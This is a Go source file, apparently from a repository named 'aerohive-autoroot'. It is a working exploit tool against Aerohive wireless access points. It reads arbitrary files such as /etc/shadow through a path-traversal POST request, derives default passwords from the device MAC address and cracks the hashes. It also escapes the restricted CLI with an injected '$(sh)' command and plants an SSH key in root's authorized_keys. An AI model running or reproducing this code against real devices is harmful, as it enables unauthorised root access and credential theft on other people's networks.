-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.go
386 lines (311 loc) · 8.46 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
package main
import (
"aerohive-autoroot/pkg/md5crypt"
"bufio"
"bytes"
"crypto/tls"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
"golang.org/x/crypto/ssh"
)
func check(err error) {
if err != nil {
log.Fatal(err)
}
}
var Address string
func printHelp() {
fmt.Println("usage: ", filepath.Base(os.Args[0]), "[options] <device ip>")
fmt.Println("\tGeneral")
fmt.Println("\t\t--generate <mac>\tGenerate password list for system users, print to stdout")
fmt.Println("\tModes")
fmt.Println("\t\t--no-access\tCan connect to the aerohive device, but not login (Default)")
fmt.Println("\t\t--rcli\t\tRestricted command line access")
fmt.Printf("\n")
fmt.Println("\tNo Access Options")
fmt.Println("\t\t--webport <port>\tThe web server port (Default: 443)")
fmt.Println("\t\t--readfile <path>\tPath to file to read off the server and print it to STDOUT (disables automatic cracking)")
fmt.Printf("\n")
fmt.Println("\tRestricted CLI Access Options")
fmt.Println("\t\t-u\tCommand line interface username")
fmt.Println("\t\t-p\tCommand line interface password")
fmt.Println("\t\t--pubkey <path>\tPath to public key to write to device")
}
func main() {
mac := flag.String("generate", "", "Generate password list for system users, print to stdout")
flag.Bool("no-access", true, "If you have cli access set this")
webport := flag.Int("webport", 443, "The web server port (Default: 443)")
filePath := flag.String("readfile", "", "Path to file to read off the server and print it to STDOUT")
flag.Bool("rcli", false, "If you have cli access set this")
username := flag.String("u", "admin", "Username")
password := flag.String("p", "aerohive", "Password")
path := flag.String("pubkey", "", "Path to public key to enable on device")
flag.Usage = printHelp
flag.Parse()
hasCliAccess := false
generateOnly := false
readOnly := false
flag.Visit(func(f *flag.Flag) {
switch f.Name {
case "rcli":
hasCliAccess = true
case "generate":
generateOnly = true
case "readfile":
readOnly = true
}
})
if generateOnly {
pwds, err := generatePasswords(*mac)
check(err)
for _, v := range pwds {
fmt.Println(v)
}
return
}
if len(flag.Args()) != 1 {
fmt.Println("Missing target")
printHelp()
return
}
Address = flag.Args()[0]
if hasCliAccess && (generateOnly || readOnly) {
log.Fatal("Incompatiable flags")
}
if readOnly {
out, err := readPath(*filePath, *webport)
if err != nil {
log.Fatal(err)
}
for _, v := range out {
fmt.Println(v)
}
return
}
if hasCliAccess {
if len(*path) == 0 {
log.Fatal("A public key needs to be specified for this mode (--pubkey path)")
}
restrictedShellRoot(*path, *username, *password)
return
}
noAccess(*webport)
}
func noAccess(port int) {
log.Println("Attempting read file exploit....")
lines, err := readPath("/etc/shadow", port)
if err != nil {
log.Fatalln("Error: ", err)
}
type hash struct {
User string
Hash []byte
Found bool
}
hashes := []hash{}
for _, v := range lines {
if strings.Contains(v, "Aerohive") {
parts := strings.Split(v, ":")
if len(parts) > 2 {
log.Println("Hash: ", v)
hashes = append(hashes, hash{User: parts[0], Hash: []byte(parts[1])})
} else {
log.Println("Skipping entry: ", v, " as it hasnt split right")
}
}
}
if len(hashes) == 0 {
log.Fatal("No default accounts found in shadow file, failed")
}
paths := []string{
"/f/system_info/hw_info",
"/f/etc/ssh_host_dsa_key.pub",
"/f/etc/ssh_host_rsa_key.pub",
}
log.Println("Attempting to find mac address")
var mac string
Out:
for _, path := range paths {
lines, err = readPath(path, port)
if err != nil {
log.Fatalln("Unable to automatically deterimine mac address")
}
if !strings.Contains(path, ".pub") {
for _, v := range lines {
if strings.Contains(v, "MAC address") {
mac = strings.TrimSpace(v[strings.Index(v, ":")+1:])
mac = mac[:2] + ":" + mac[2:7] + ":" + mac[7:9] + mac[9:12] + ":" + mac[12:]
break Out
}
}
}
for _, key := range lines {
if len(key) > 6 {
end := key[len(key)-6:]
mac = "00:00:00:" + end[:2] + ":" + end[2:4] + ":" + end[4:] // Form a proper MAC, just so generate(...) can be used without changes there
break Out
}
}
}
if len(mac) == 0 {
log.Println(lines)
log.Fatalln("Unable to read mac address")
}
//Fix their terrible mac format
log.Println("Got mac address ending with: ", mac[len(mac)-8:])
log.Printf("Generating passwords...")
passwords, err := generatePasswords(mac)
check(err)
log.Printf("Done\n")
//As this has at max 1 million guesess there really isnt much reason to have a stop feature
var wg sync.WaitGroup
log.Printf("Started cracking threads")
for i := 0; i < 10; i++ { // Make 10 threads and split up the password list between them
list := make([]string, len(passwords)/10)
for ii := i; ii < len(passwords); ii += 10 {
list = append(list, passwords[ii])
}
wg.Add(1)
go func(pwdList []string) {
defer wg.Done()
for _, v := range pwdList {
hash := md5crypt.MD5Crypt([]byte(v), []byte(""), []byte("$1$"))
hasWork := false
for i := range hashes {
if hashes[i].Found {
continue
}
if bytes.Equal(hash, hashes[i].Hash) {
log.Printf("Found match. Username: %s, Hash: %s, Password: %s\n", hashes[i].User, hashes[i].Hash, v)
hashes[i].Found = true
continue
}
hasWork = true
}
if !hasWork {
return
}
}
}(list)
}
log.Printf("Cracking...\n")
wg.Wait()
log.Println("Finished")
}
func readPath(path string, port int) (s []string, err error) {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
url := fmt.Sprintf("https://%s:%d/action.php5?_page=ActiveAPDetailInfoWebUI&_action=get&_dc=100000000", Address, port)
data := strings.NewReader("macAddr=../../.." + path + "%00")
req, err := http.NewRequest("POST", url, data)
if err != nil {
fmt.Println(err)
return s, err
}
dummysession := &http.Cookie{
Name: "PHPSESSID",
Value: "a",
MaxAge: 300,
}
req.AddCookie(dummysession)
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
fmt.Println(err)
return s, err
}
defer resp.Body.Close()
r := bufio.NewReader(resp.Body)
for {
line, err := r.ReadString('\n')
if err != nil {
if err != io.EOF {
return s, err
}
break
}
s = append(s, strings.TrimSpace(line))
}
return s, nil
}
func generatePasswords(mac string) (s []string, err error) {
hwadd, err := net.ParseMAC(mac)
if err != nil {
return s, err
}
last := strings.ReplaceAll(hwadd.String(), ":", "")[6:]
prefix := last[2:4] + last[:2] + last[4:]
for i := 0; i < 1000000; i++ {
s = append(s, prefix+strconv.Itoa(i))
}
return s, nil
}
func restrictedShellRoot(pubkey, username, password string) {
fmt.Printf("Accessing restricted shell [username=%s]...", username)
key, err := ioutil.ReadFile(pubkey)
check(err)
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
}
client, err := ssh.Dial("tcp", Address, config)
if err != nil {
log.Fatal("Failed to dial: ", err)
}
defer client.Close()
fmt.Printf(".")
// Each ClientConn can support multiple interactive sessions,
// represented by a Session.
session, err := client.NewSession()
if err != nil {
log.Fatal("Failed to create session: ", err)
}
defer session.Close()
fmt.Printf(".")
wr, err := session.StdinPipe()
check(err)
// Once a Session is created, you can execute a single command on
// the remote side using the Run method.
modes := ssh.TerminalModes{
ssh.ECHO: 0, // disable echoing
}
err = session.RequestPty("vt100", 80, 40, modes)
check(err)
err = session.Shell()
check(err)
fmt.Printf(".Done!\n")
fmt.Println("Writing commands:")
_, err = wr.Write([]byte("save web-page web-directory test scp://[email protected]:/etc/shadow$(sh)\n"))
check(err)
cmds := []string{
"mkdir -p /root/.ssh",
"chmod 700 /root/.ssh",
fmt.Sprintf("echo '%s' >> /root/.ssh/authorized_keys", strings.TrimSpace(string(key))),
"chmod 644 /root/.ssh/authorized_keys",
}
for i := range cmds {
fmt.Println(cmds[i])
_, err := wr.Write([]byte(cmds[i] + "\n"))
check(err)
<-time.After(1 * time.Second)
}
fmt.Println("Finished. You should now be able to ssh root@ap")
}